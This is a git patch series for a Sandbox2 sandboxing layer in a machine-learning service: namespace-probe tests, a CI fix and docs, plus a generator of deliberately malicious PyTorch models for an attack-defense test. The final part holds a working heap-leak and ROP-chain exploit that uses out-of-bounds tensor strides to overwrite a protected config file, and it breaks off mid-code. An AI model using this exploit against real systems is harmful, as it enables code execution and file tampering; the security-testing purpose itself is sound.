SRCS CSandboxForkserverSmokeTest.cc) list(APPEND SRCS CPytorchInferenceSandboxPolicyMechanismTest_Linux.cc) list(APPEND SRCS CSandboxedProcessSpawnerLifecycleTest_Linux.cc) + list(APPEND SRCS CSandboxUserNamespaceProbeTest_Linux.cc) list(APPEND ML_LINK_LIBRARIES sandbox2::sandbox2) # Deliberately-dependency-free sandboxee payload for the smoke test above. @@ -96,6 +97,21 @@ if(TARGET sandbox2::sandbox2 AND CMAKE_SYSTEM_NAME STREQUAL "Linux") POSITION_INDEPENDENT_CODE TRUE RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/payloads ) + + # PR E's staged user-namespace capability probe (design.md + # ML_SANDBOX2_REQUIRE CI wiring). Same dependency-free, dynamically-linked + # pattern as the payloads above, for the same CI-image reason. Unlike + # ml_sandbox_probe, this one is never run through a Sandbox2 + # Executor/policy - CSandboxUserNamespaceProbeTest_Linux execs it directly + # as a plain host subprocess, since it probes the ambient CI environment's + # userns capability, not a Sandbox2 policy. + add_executable(ml_sandbox_userns_probe EXCLUDE_FROM_ALL + payloads/ml_sandbox_userns_probe.cc + ) + set_target_properties(ml_sandbox_userns_probe PROPERTIES + POSITION_INDEPENDENT_CODE TRUE + RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/payloads + ) endif() ml_add_test_executable(sandbox ${SRCS}) @@ -120,3 +136,10 @@ if(TARGET lifecycle_signal_payload) ML_SANDBOX2_LIFECYCLE_PAYLOAD="$" ) endif() + +if(TARGET ml_sandbox_userns_probe) + add_dependencies(ml_test_sandbox ml_sandbox_userns_probe) + target_compile_definitions(ml_test_sandbox PRIVATE + ML_SANDBOX2_USERNS_PROBE_PAYLOAD="$" + ) +endif() diff --git a/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc b/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc new file mode 100644 index 0000000000..f07bfa133f --- /dev/null +++ b/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc @@ -0,0 +1,97 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ + +// Linux-only controller-side (host-process) test for PR E's +// ML_SANDBOX2_REQUIRE CI wiring (design.md Sandbox2 clean rebuild plan). +// Runs ml_sandbox_userns_probe as a plain subprocess - deliberately NOT +// through a Sandbox2 Executor/policy, since this test is checking the +// *ambient* CI environment's userns capability (e.g. whether a Buildkite +// k8s pod's runtime permits mount("proc", ...)), not any Sandbox2 policy; +// running it inside a Sandbox2 sandbox here would test the wrong thing. +// +// Three modes, selected by the ML_SANDBOX2_REQUIRE environment variable: +// unset -> "ambient" mode: run the probe once, log its outcome, do +// not fail the test either way (design.md: "Ambient Docker +// seccomp behavior is diagnostic, never load-bearing +// coverage"). +// enforced -> the probe must succeed (all 7 stages complete); fail the +// test if any stage fails. Wired into run_tests.sh's +// aarch64/Docker branch only (H3 accepted risk: no +// userns-capable x86_64 CI runner exists). +// fail_closed -> pins the *absence* of userns capability as the tested +// condition: assert the probe fails at some stage (the +// specific stage isn't load-bearing). This mode's job is +// confirming the CI environment matches what the existing +// fail-closed spawn path (V2) expects, not re-testing V2 +// itself. + +#include + +#include +#include +#include +#include +#include + +#ifndef ML_SANDBOX2_USERNS_PROBE_PAYLOAD +#error "ML_SANDBOX2_USERNS_PROBE_PAYLOAD must be defined by lib/sandbox/unittest/CMakeLists.txt" +#endif + +namespace { + +//! Forks/execs the userns probe payload directly (no Sandbox2 involved) and +//! reports whether it exited 0 (all 7 stages succeeded). +bool runProbe() { + const std::string payloadPath{ML_SANDBOX2_USERNS_PROBE_PAYLOAD}; + + const pid_t child = ::fork(); + BOOST_TEST_REQUIRE(child >= 0); + + if (child == 0) { + ::execl(payloadPath.c_str(), payloadPath.c_str(), static_cast(nullptr)); + // execl only returns on failure. + ::_exit(127); + } + + int status = 0; + BOOST_TEST_REQUIRE(::waitpid(child, &status, 0) == child); + return WIFEXITED(status) != 0 && WEXITSTATUS(status) == 0; +} + +} // namespace + +BOOST_AUTO_TEST_SUITE(CSandboxUserNamespaceProbeTest_Linux) + +BOOST_AUTO_TEST_CASE(testMatchesRequiredMode) { + const char* mode = std::getenv("ML_SANDBOX2_REQUIRE"); + const bool probeSucceeded = runProbe(); + + if (mode == nullptr) { + // Ambient mode: diagnostic only - never load-bearing. + BOOST_TEST_MESSAGE("ml_sandbox_userns_probe ambient outcome: " + << (probeSucceeded ? "success" : "failure")); + return; + } + + if (std::strcmp(mode, "enforced") == 0) { + BOOST_TEST_REQUIRE(probeSucceeded); + return; + } + + if (std::strcmp(mode, "fail_closed") == 0) { + BOOST_TEST_REQUIRE(!probeSucceeded); + return; + } + + BOOST_FAIL("Unrecognised ML_SANDBOX2_REQUIRE value: " + std::string(mode)); +} + +BOOST_AUTO_TEST_SUITE_END() diff --git a/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc b/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc new file mode 100644 index 0000000000..6dbc3e393e --- /dev/null +++ b/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc @@ -0,0 +1,224 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ + +// Staged user-namespace capability probe for PR E's ML_SANDBOX2_REQUIRE CI +// wiring (design.md Sandbox2 clean rebuild plan). Unlike ml_sandbox_probe.cc +// (PR C's *policy* mechanism probe, which runs inside an already-built +// Sandbox2 sandbox) this payload exercises the raw kernel primitives +// Sandbox2's own forkserver depends on - unshare(CLONE_NEWUSER), uid/gid +// mapping, unshare(CLONE_NEWNS | CLONE_NEWPID), and a proc mount inside the +// new namespaces - run directly by the host-process controller test, with no +// Sandbox2 policy involved at all. Its job is to pin down whether the +// *ambient CI environment* (e.g. a Buildkite k8s pod) permits userns +// operations, independent of any Sandbox2 policy's correctness. Deliberately +// dependency-free, like ml_sandbox_probe.cc and sandbox_smoke_payload.cc: no +// ml-cpp library dependencies, no sandbox policy of its own. +// +// Runs design.md's 7 numbered stages in order and reports the first failed +// stage and errno on any failure; success only if all 7 complete: +// 1. probe pipe + fork +// 2. unshare(CLONE_NEWUSER) +// 3. uid/gid map writes, including setgroups +// 4. unshare(CLONE_NEWNS | CLONE_NEWPID) +// 5. fork into the new PID namespace +// 6. mount("/", MS_REC | MS_PRIVATE) +// 7. mount("proc", "/proc", "proc", ...) +// +// Stage 7 MUST run after the stage-5 fork - matching PR C's SHA-keyed +// carry-forward fix for 50bacc2b (proc mount after fork into the new PID +// namespace). A proc mount issued by the stage-4 unshare()'d process itself, +// before forking into the namespace, would mount /proc for the wrong PID +// namespace view. Do not reorder stages 5 and 7. + +// unshare() and the CLONE_NEWUSER/CLONE_NEWNS/CLONE_NEWPID constants are GNU +// extensions gated behind _GNU_SOURCE in glibc's ; define it +// explicitly (must precede any system header include) rather than relying on +// libstdc++ defining it implicitly for this translation unit. +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +namespace { + +//! Wire format for reporting the probe's outcome back through the pipe +//! connecting the forked stages to this payload's own main(), which is the +//! only process that ever writes to stdout - the pipe is the only channel +//! available once fork() has split the staged work across processes that, +//! from stage 5 onward, live in a different PID namespace. +struct SStageResult { + int s_FailedStage; // 0 means every stage succeeded. + int s_Errno; +}; + +void writeResult(int pipeWriteFd, int failedStage, int errnoValue) { + SStageResult result{failedStage, errnoValue}; + // Best-effort: if this write itself fails there is nothing more this + // process can do to report - the reader treats EOF/a short read as a + // failure of its own. + static_cast(::write(pipeWriteFd, &result, sizeof(result))); +} + +//! Stages 6-7: mount("/", MS_REC | MS_PRIVATE) then mount("proc", ...). +//! Called only from the stage-5 grandchild, i.e. only once it is running as +//! the new PID namespace's own PID 1 - the ordering this whole probe exists +//! to pin down. +void runMountStages(int pipeWriteFd) { + if (::mount(nullptr, "/", nullptr, MS_REC | MS_PRIVATE, nullptr) != 0) { + writeResult(pipeWriteFd, 6, errno); + return; + } + if (::mount("proc", "/proc", "proc", 0, nullptr) != 0) { + writeResult(pipeWriteFd, 7, errno); + return; + } + writeResult(pipeWriteFd, 0, 0); +} + +//! Stages 2-5: unshare(CLONE_NEWUSER), uid/gid map writes (incl. +//! setgroups), unshare(CLONE_NEWNS | CLONE_NEWPID), then the stage-5 fork. +//! Called from the stage-1 fork's child. +void runNamespaceStages(int pipeWriteFd) { + const uid_t uid = ::getuid(); + const gid_t gid = ::getgid(); + + if (::unshare(CLONE_NEWUSER) != 0) { + writeResult(pipeWriteFd, 2, errno); + return; + } + + // setgroups must be denied before the gid_map write below is permitted + // for an unprivileged (non-CAP_SETGID) caller - kernel requirement + // since Linux 3.19 (CVE-2014-8989 mitigation). + int setgroupsFd = ::open("/proc/self/setgroups", O_WRONLY); + if (setgroupsFd < 0 || ::write(setgroupsFd, "deny", 4) != 4) { + const int savedErrno = errno; + if (setgroupsFd >= 0) { + ::close(setgroupsFd); + } + writeResult(pipeWriteFd, 3, savedErrno); + return; + } + ::close(setgroupsFd); + + char uidMapBuf[64]; + const int uidMapLen = + std::snprintf(uidMapBuf, sizeof(uidMapBuf), "0 %d 1\n", static_cast(uid)); + int uidMapFd = ::open("/proc/self/uid_map", O_WRONLY); + if (uidMapFd < 0 || ::write(uidMapFd, uidMapBuf, uidMapLen) != uidMapLen) { + const int savedErrno = errno; + if (uidMapFd >= 0) { + ::close(uidMapFd); + } + writeResult(pipeWriteFd, 3, savedErrno); + return; + } + ::close(uidMapFd); + + char gidMapBuf[64]; + const int gidMapLen = + std::snprintf(gidMapBuf, sizeof(gidMapBuf), "0 %d 1\n", static_cast(gid)); + int gidMapFd = ::open("/proc/self/gid_map", O_WRONLY); + if (gidMapFd < 0 || ::write(gidMapFd, gidMapBuf, gidMapLen) != gidMapLen) { + const int savedErrno = errno; + if (gidMapFd >= 0) { + ::close(gidMapFd); + } + writeResult(pipeWriteFd, 3, savedErrno); + return; + } + ::close(gidMapFd); + + if (::unshare(CLONE_NEWNS | CLONE_NEWPID) != 0) { + writeResult(pipeWriteFd, 4, errno); + return; + } + + // Stage 5: fork into the just-created PID namespace. unshare(CLONE_NEWPID) + // does not move the calling process into the new namespace - only its + // *next* forked child becomes that namespace's PID 1. Stages 6-7 (in + // particular the stage-7 proc mount) must therefore run in this child, + // never in the unshare()'d process itself. + const pid_t pidNsChild = ::fork(); + if (pidNsChild < 0) { + writeResult(pipeWriteFd, 5, errno); + return; + } + if (pidNsChild == 0) { + runMountStages(pipeWriteFd); + ::_exit(0); + } + + int status = 0; + ::waitpid(pidNsChild, &status, 0); +} + +} // namespace + +int main() { + int pipeFds[2]; + // Stage 1: probe pipe + fork. + if (::pipe(pipeFds) != 0) { + std::printf("ml_sandbox_userns_probe: outcome=failure stage=1 errno=%d detail=%s\n", errno, + std::strerror(errno)); + return EXIT_FAILURE; + } + + const pid_t stage1Child = ::fork(); + if (stage1Child < 0) { + const int savedErrno = errno; + ::close(pipeFds[0]); + ::close(pipeFds[1]); + std::printf("ml_sandbox_userns_probe: outcome=failure stage=1 errno=%d detail=%s\n", + savedErrno, std::strerror(savedErrno)); + return EXIT_FAILURE; + } + + if (stage1Child == 0) { + ::close(pipeFds[0]); + runNamespaceStages(pipeFds[1]); + ::close(pipeFds[1]); + ::_exit(0); + } + + ::close(pipeFds[1]); + SStageResult result{-1, 0}; + const ssize_t bytesRead = ::read(pipeFds[0], &result, sizeof(result)); + ::close(pipeFds[0]); + + int status = 0; + ::waitpid(stage1Child, &status, 0); + + if (bytesRead != static_cast(sizeof(result))) { + // Short read/EOF: the staged process tree exited (or was killed) + // before reporting a result - stage unknown, but still a failure. + std::printf("ml_sandbox_userns_probe: outcome=failure stage=-1 errno=0 " + "detail=no_result_reported\n"); + return EXIT_FAILURE; + } + + if (result.s_FailedStage == 0) { + std::printf("ml_sandbox_userns_probe: outcome=success\n"); + return EXIT_SUCCESS; + } + + std::printf("ml_sandbox_userns_probe: outcome=failure stage=%d errno=%d detail=%s\n", + result.s_FailedStage, result.s_Errno, std::strerror(result.s_Errno)); + return EXIT_FAILURE; +} From 61356a42d844803253d1c772be5368d0793d0602 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Wed, 9 Sep 2026 22:09:03 +0200 Subject: [PATCH 06/36] [ML] Fix vacuous fail_closed pass on userns probe exec failure runProbe() collapsed every non-zero exit into a single bool, so an execl() failure (missing/unexecutable payload binary) exited 127 and satisfied fail_closed's !probeSucceeded check the same as a genuine staged probe failure - masking a broken build/CMake wiring as confirmed absence of userns capability. Classify the child's exit status into Success / StagedFailure / ExecFailure (126/127 reserved for exec failure, distinct from the payload's own EXIT_FAILURE=1 staged-failure code) and fail the test outright on ExecFailure before consulting ML_SANDBOX2_REQUIRE, in any mode. --- .../CSandboxUserNamespaceProbeTest_Linux.cc | 57 +++++++++++++++++-- 1 file changed, 51 insertions(+), 6 deletions(-) diff --git a/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc b/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc index f07bfa133f..b4629b6632 100644 --- a/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc +++ b/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc @@ -35,6 +35,7 @@ #include +#include #include #include #include @@ -47,9 +48,24 @@ namespace { +//! Outcome of running the userns probe payload, distinguishing a genuine +//! staged probe failure (the payload ran and its own stage logic reported +//! failure, pipe/exit code EXIT_FAILURE) from an exec/setup failure (the +//! payload binary could not be launched at all - missing, wrong +//! permissions, bad path). The two must never be conflated: fail_closed's +//! job is confirming the *ambient environment* lacks userns capability, not +//! masking a broken test harness (missing build artifact, CMake wiring +//! regression) as that same "expected absence" result. +enum class EProbeOutcome { E_Success, E_StagedFailure, E_ExecFailure }; + //! Forks/execs the userns probe payload directly (no Sandbox2 involved) and -//! reports whether it exited 0 (all 7 stages succeeded). -bool runProbe() { +//! classifies the result. POSIX convention: an exec failure surfaces as +//! exit code 126 (found but not executable) or 127 (not found/exec +//! otherwise failed) - the payload's own staged-failure exit code is +//! EXIT_FAILURE (1), which never collides with 126/127. A signal death, or +//! any other non-zero exit, is treated as a staged failure: only 126/127 +//! are reserved here for "the child never ran the probe's own logic". +EProbeOutcome runProbe() { const std::string payloadPath{ML_SANDBOX2_USERNS_PROBE_PAYLOAD}; const pid_t child = ::fork(); @@ -57,13 +73,28 @@ bool runProbe() { if (child == 0) { ::execl(payloadPath.c_str(), payloadPath.c_str(), static_cast(nullptr)); - // execl only returns on failure. - ::_exit(127); + // execl only returns on failure. Distinguish "found but not + // executable" (126) from "not found/exec otherwise failed" (127), + // matching shell convention, so the parent can tell an exec/setup + // failure apart from the payload's own staged-failure exit code. + ::_exit(errno == EACCES ? 126 : 127); } int status = 0; BOOST_TEST_REQUIRE(::waitpid(child, &status, 0) == child); - return WIFEXITED(status) != 0 && WEXITSTATUS(status) == 0; + + if (WIFEXITED(status) == 0) { + // Killed by a signal: not a meaningful staged result, but also not + // the specific exec-failure signature (126/127) - treat as a + // staged failure rather than a hard harness-broken failure. + return EProbeOutcome::E_StagedFailure; + } + + const int exitStatus = WEXITSTATUS(status); + if (exitStatus == 126 || exitStatus == 127) { + return EProbeOutcome::E_ExecFailure; + } + return exitStatus == 0 ? EProbeOutcome::E_Success : EProbeOutcome::E_StagedFailure; } } // namespace @@ -72,7 +103,21 @@ BOOST_AUTO_TEST_SUITE(CSandboxUserNamespaceProbeTest_Linux) BOOST_AUTO_TEST_CASE(testMatchesRequiredMode) { const char* mode = std::getenv("ML_SANDBOX2_REQUIRE"); - const bool probeSucceeded = runProbe(); + const EProbeOutcome outcome = runProbe(); + + // An exec/setup failure means the payload never ran at all - a broken + // test harness (missing build artifact, CMake wiring regression, bad + // permissions), not a probe result. Never meaningful in any mode, so + // fail outright before consulting ML_SANDBOX2_REQUIRE - in particular, + // this must never be allowed to satisfy fail_closed's "probe failed" + // check vacuously. + if (outcome == EProbeOutcome::E_ExecFailure) { + BOOST_FAIL("ml_sandbox_userns_probe payload could not be exec'd " + "(exit 126/127) - test harness is broken, not a " + "genuine probe result"); + } + + const bool probeSucceeded = outcome == EProbeOutcome::E_Success; if (mode == nullptr) { // Ambient mode: diagnostic only - never load-bearing. From 7eda77b377838f4b6ca63496871c2f7854400c5f Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Wed, 9 Sep 2026 22:28:08 +0200 Subject: [PATCH 07/36] [ML] Repair test_sandbox2_attack_defense.py (V14) + failure-modes doc Ports the Sandbox2 attack-defense harness from the frozen enhancement/sandbox2 branch, fixing 6 defects found during review: no reached marker (models could crash before execution and look identical to a block; also fixes the root cause by adding --skipModelValidation so CModelGraphValidator doesn't reject the attack models before forward() runs), no unsandboxed positive control, a leak-model test case that duplicated the exploit case's assertions, a shared un-drained controller/pytorch output FIFO reader that could leak stale responses across commands/cases, no per-case kill/reap cleanup assertion, and a flat IPC layout that didn't match the real $TMPDIR/ml-child-ipc/ contract. Also ports evil_model_generator.py and dev-tools/run_sandbox2_attack_defense.sh, and extends docs/sandbox2_production_failure_modes.md to name this harness as V14's evidence source per design.md's closure requirement. --- dev-tools/run_sandbox2_attack_defense.sh | 47 + docs/sandbox2_production_failure_modes.md | 55 +- test/evil_model_generator.py | 232 +++++ test/test_sandbox2_attack_defense.py | 1091 +++++++++++++++++++++ 4 files changed, 1422 insertions(+), 3 deletions(-) create mode 100755 dev-tools/run_sandbox2_attack_defense.sh create mode 100644 test/evil_model_generator.py create mode 100644 test/test_sandbox2_attack_defense.py diff --git a/dev-tools/run_sandbox2_attack_defense.sh b/dev-tools/run_sandbox2_attack_defense.sh new file mode 100755 index 0000000000..40cc2490e5 --- /dev/null +++ b/dev-tools/run_sandbox2_attack_defense.sh @@ -0,0 +1,47 @@ +#!/bin/bash +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the following additional limitation. Functionality enabled by the +# files subject to the Elastic License 2.0 may only be used in production when +# invoked by an Elasticsearch process with a license key installed that permits +# use of machine learning features. You may not use this file except in +# compliance with the Elastic License 2.0 and the foregoing additional +# limitation. +# +# Manual Sandbox2 attack-defense smoke test (not run in CI). +# +# Usage (from repo root, after a Linux build that installs controller and +# pytorch_inference): +# ./dev-tools/run_sandbox2_attack_defense.sh +# +# Requires: Linux, python3, torch, user namespaces (or root), and built +# binaries under build/distribution/platform/linux-*/bin/. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" + +if [ "$(uname -s)" != "Linux" ]; then + echo "Sandbox2 attack-defense test is Linux-only; skipping" + exit 0 +fi + +if [ ! -e /proc/sys/kernel/unprivileged_userns_clone ] && [ "$(id -u)" -ne 0 ]; then + if [ -n "${ML_REQUIRE_SANDBOX2:-}" ]; then + echo "Sandbox2 attack-defense test required but user namespaces not available" >&2 + exit 1 + fi + echo "Skipping Sandbox2 attack-defense test: user namespaces not available" + exit 0 +fi + +cd "$ROOT" + +if ! command -v python3 >/dev/null 2>&1; then + echo "python3 is required to run Sandbox2 attack-defense tests" >&2 + exit 1 +fi + +exec python3 "$ROOT/test/test_sandbox2_attack_defense.py" "$@" diff --git a/docs/sandbox2_production_failure_modes.md b/docs/sandbox2_production_failure_modes.md index ffefad821a..1128e2e468 100644 --- a/docs/sandbox2_production_failure_modes.md +++ b/docs/sandbox2_production_failure_modes.md @@ -7,9 +7,9 @@ observability, this schema is itself an API: field names and types must not change without updating both this document and any downstream consumer (notably PR F's ES-side observability work). -This file currently documents only the log line introduced by PR E Task 4 -(the H4 structured once-per-launch enforced-mode signal). A later task (PR E -Task 6) extends it with the remaining production failure-mode vocabulary. +This file currently documents the log line introduced by PR E Task 4 (the +H4 structured once-per-launch enforced-mode signal) and, below, the V14 +attack-defense evidence source added by PR E Task 6. ## Log vocabulary @@ -56,3 +56,52 @@ Emission site: `bin/controller/CProcessSpawnerRouter.cc`, `CProcessSpawnerRouter::spawn()` (via the private `emitLaunchSignal()` helper) - chosen because this class owns both the already-decided route parameter and the actual spawn-outcome boolean the `mode` field depends on. + +## V14 evidence source: attack-defense harness + +Per `docs/projects/mlcpp-sandbox2-pr2873/design.md`'s Required proof matrix, +V14 ("Attack-defense harness blocks maintained malicious models on PR tip +after proving each model reached execution") closes only with a dated +`attack-defense-.md` record in this directory. This section +names the harness that produces that evidence and the exact command; it does +not itself constitute a V14 closure record (no run has been recorded against +a head SHA yet - the harness requires production-like Linux with Sandbox2, +so it is Buildkite/manual-devbox-deferred, per design.md: "Permanent CI is +optional; final-tip evidence is not"). + +**Harness:** `test/test_sandbox2_attack_defense.py`, invoked via +`dev-tools/run_sandbox2_attack_defense.sh`. It drives the real controller / +`pytorch_inference` binaries through the actual +`$TMPDIR/ml-child-ipc/` per-child IPC layout (see +`include/sandbox/CPytorchInferenceSandboxPolicy.h`'s `SChildIpcLaunchSpec`), +and satisfies the Verification contract's Oracle rule for every case: an +unsandboxed positive control (`--disableSandbox`), a reached marker (a +`model loaded` line on the model's own `--logPipe`, plus either a +`request_id`-correlated output-pipe response or a confirmed post-load +process death), a negative assertion (protected file absent under +Sandbox2), a mechanism assertion (controller `start`/`kill` JSON responses +and `/proc` PID liveness), and a per-case cleanup assertion (`kill ` +against the controller reports failure once the case ends, proving the +child was reaped). + +**Command:** + +```bash +./dev-tools/run_sandbox2_attack_defense.sh +# or directly: +python3 test/test_sandbox2_attack_defense.py --test all +``` + +**Models exercised:** `model_benign.pt` (functional positive control - +Sandbox2 must not break a legitimate model) and `model_exploit.pt` (a +heap-address leak used to build a ROP chain that attempts to write +`/usr/share/elasticsearch/config/jvm.options.d/gc.options` outside the +sandboxed child's allowed scope). `model_leak.pt` is generated by +`test/evil_model_generator.py` but not asserted on separately - see that +harness's `test_exploit_model` docstring for why a standalone leak +assertion tested nothing beyond the exploit case. + +**A closing V14 record must additionally capture:** host/kernel (e.g. +`uname -a`), date, pass/fail per model exercised, the cleanup result (each +case's kill/reap confirmation), and a CI/build link when available, named +`attack-defense-.md` in this directory. diff --git a/test/evil_model_generator.py b/test/evil_model_generator.py new file mode 100644 index 0000000000..c1906b77a5 --- /dev/null +++ b/test/evil_model_generator.py @@ -0,0 +1,232 @@ +#!/usr/bin/env python3 +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the following additional limitation. Functionality enabled by the +# files subject to the Elastic License 2.0 may only be used in production when +# invoked by an Elasticsearch process with a license key installed that permits +# use of machine learning features. You may not use this file except in +# compliance with the Elastic License 2.0 and the foregoing additional +# limitation. +# +""" +Generate evil PyTorch models for testing Sandbox2 security. + +This script generates three models: +1. model_benign.pt - A simple benign model for positive testing +2. model_leak.pt - A model that leaks heap addresses via assertion errors. + Not asserted on separately by test_sandbox2_attack_defense.py: the heap + read this model performs is an intra-process memory access, not a + syscall or filesystem boundary Sandbox2 enforces, so it provides no + independent Sandbox2 signal on its own (see that harness's + test_exploit_model docstring, and task-6 defect 3 in + .superpowers/sdd/pr-e-typed-routing.plan/task-6-brief.md). Kept here for + manual/exploratory use and because model_exploit.pt below reuses the same + leak technique as the first stage of its ROP chain. +3. model_exploit.pt - A model that attempts to write files using shellcode + manipulation built from the leaked addresses (this is the case + test_sandbox2_attack_defense.py actually exercises). + +Requires --skipModelValidation when fed to pytorch_inference: these models +use aten::as_strided with an out-of-bounds offset, which CModelGraphValidator +rejects at load time by design (see CModelGraphValidatorTest and +test_pytorch_inference_evil_models.py for that, separate, layer of +coverage). +""" + +import os +import sys + +import torch + + +class SimpleBenignModel(torch.nn.Module): + """A simple benign model that performs basic tensor operations.""" + + def __init__(self): + super().__init__() + + def forward(self, a, b, c, d): + # Simple forward pass - just return a simple output tensor + # This model doesn't need to do anything complex, just validate the test infrastructure + output = torch.sum(a) + torch.sum(b) + torch.sum(c) + torch.sum(d) + return output.unsqueeze(0).unsqueeze(0) # Return shape [1, 1] + + +class LeakModel(torch.nn.Module): + """Model that leaks heap addresses via assertion errors.""" + + def __init__(self): + super().__init__() + + def find_heap_overlap(self, tensors): + evil_length = 0x900 * 8 + leak = torch.as_strided(tensors, [evil_length], [1], 2305843009213693952 - evil_length) + index = [-1] + for i in range(evil_length - 1 - 5, -1, -1): + if leak[i + 3].item() == leak[i + 5].item() and leak[i + 3].item() >> 40 == 127: + if leak[i + 2].item() >= 0x100000000 and leak[i + 2].item() <= 0x100000005: + index.append(i) + return (index, leak) + + def forward(self, a, b, c, d): + tmp = [] + heap_len = 200 + array_len = 0x900 + + for i in range(heap_len): + tmp_values = [0xdead00000 + i] + [0xdead00000 + j for j in range(2, array_len)] + tmp.append(torch.tensor(tmp_values)) + + for i in range(heap_len): + indexs, leak = self.find_heap_overlap(tmp[i]) + indexs = indexs[1:] + if indexs == []: + continue + + for index in indexs: + heap_addr = leak[index + 3].item() + libtorch_python_addr = leak[index + 1].item() + libtorch_cpu_addr = libtorch_python_addr - 0xc878b50 + assert 1 == 0, "Input tensor must have at least one element: " + hex(libtorch_cpu_addr) + + for i in range(heap_len): + print(tmp[i].shape) + + return torch.zeros(0) + + +class ExploitModel(torch.nn.Module): + """Model that attempts to write files using shellcode manipulation.""" + + def __init__(self): + super().__init__() + + def find_heap_overlap(self, tensors): + evil_length = 0x900 * 8 + leak = torch.as_strided(tensors, [evil_length], [1], 2305843009213693952 - evil_length) + index = [-1] + for i in range(evil_length - 1 - 5, -1, -1): + if leak[i + 3].item() == leak[i + 5].item() and leak[i + 3].item() >> 40 == 127: + if leak[i + 2].item() >= 0x100000000 and leak[i + 2].item() <= 0x100000005: + index.append(i) + return (index, leak) + + def get_address_data(self, leak, index: int, tmp, target_addr: int): + leak[index] = target_addr + return tmp[0].item() + + def forward(self, a, b, c, d): + tmp = [] + heap_len = 200 + array_len = 0x900 + + for i in range(heap_len): + tmp_values = [0xdead00000 + i] + [0xdead00000 + j for j in range(2, array_len)] + tmp.append(torch.tensor(tmp_values)) + + for i in range(heap_len): + indexs, leak = self.find_heap_overlap(tmp[i]) + indexs = indexs[1:] + if indexs == []: + continue + + for index in indexs: + heap_addr = leak[index + 3].item() + libtorch_python_addr = leak[index + 1].item() + libtorch_cpu_addr = libtorch_python_addr - 0xc878b50 + + gadget_addr_1 = 0x0000000001335761 + libtorch_cpu_addr # mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x28] + gadget_addr_2 = 0x0000000008f0a9e3 + libtorch_cpu_addr # mov rdi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x20] + gadget_addr_3 = 0x0000000004e5b605 + libtorch_cpu_addr # mov rdx, qword ptr [rax] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 8] + gadget_addr_4 = 0x000000000782e30b + libtorch_cpu_addr # mov rdi, qword ptr [rax + 0x40] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x18] + gadget_addr_5 = 0x00000000056062ac + libtorch_cpu_addr # mov rbx, qword ptr [rax + 8] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x28] + gadget_addr_6 = 0x00000000041df281 + libtorch_cpu_addr # mov rdi, qword ptr [rax + 0x40] ; call qword ptr [rax + 0x30] + mprotect_got_addr = 0xc9785f0 + libtorch_cpu_addr + + leak[index + 3] = int(heap_addr - 0x8) + + for j in range(heap_len): + if tmp[j][2].item() == 0xDEAD00002 and i != j: + mprotect_addr = self.get_address_data(leak, index + 3, tmp[j], int(mprotect_got_addr)) + leak[index + 3] = int(heap_addr) + leak[index + 1] = int(heap_addr) + tmp[j][1] = int(gadget_addr_1) + tmp[j][(0x28) // 8] = int(gadget_addr_2) + pianyi1 = 0x40 # mov rdi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x20] + tmp[j][(0x20) // 8] = int(heap_addr + pianyi1) + tmp[j][(pianyi1) // 8] = int(heap_addr + pianyi1 + 8) + pianyi1 += 8 + tmp[j][(pianyi1 + 0x20) // 8] = int(gadget_addr_3) + tmp[j][(pianyi1) // 8] = 7 + tmp[j][(pianyi1 + 8) // 8] = int(gadget_addr_4) + new_pianyi = pianyi1 + 0x40 + 8 + tmp[j][(pianyi1 + 0x40) // 8] = int(heap_addr + new_pianyi) # rdi new_pianyi + tmp[j][(new_pianyi) // 8] = int(heap_addr + new_pianyi + 0x8) # rax new_pianyi+0x8 + new_pianyi += 0x8 + tmp[j][(new_pianyi + 0x18) // 8] = int(gadget_addr_5) + shellcode_painyi = new_pianyi + 0x48 + tmp[j][(new_pianyi + 0x8) // 8] = int(heap_addr + shellcode_painyi) # rbx + tmp[j][(new_pianyi + 0x28) // 8] = int(gadget_addr_6) + tmp[j][(new_pianyi + 0x40) // 8] = int((heap_addr + new_pianyi) & 0xffffffffffff000) + tmp[j][(new_pianyi + 0x30) 